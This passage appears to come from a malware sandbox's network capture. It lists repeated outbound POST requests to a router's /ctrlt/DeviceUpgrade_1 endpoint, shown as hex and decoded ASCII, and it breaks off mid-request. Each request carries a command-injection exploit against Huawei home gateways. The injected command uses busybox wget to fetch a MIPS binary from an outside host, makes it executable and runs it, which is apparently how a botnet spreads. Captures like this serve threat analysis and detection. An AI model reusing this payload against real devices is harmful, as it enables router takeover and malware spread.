Jan 1, 2024 12:53:55.996604919 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:57.820585966 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:01.596554041 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:09.020582914 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:23.612545967 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:54.332680941 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	56426	156.241.103.98	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:55.957508087 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:57.532730103 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:59.392539978 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:03.132584095 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 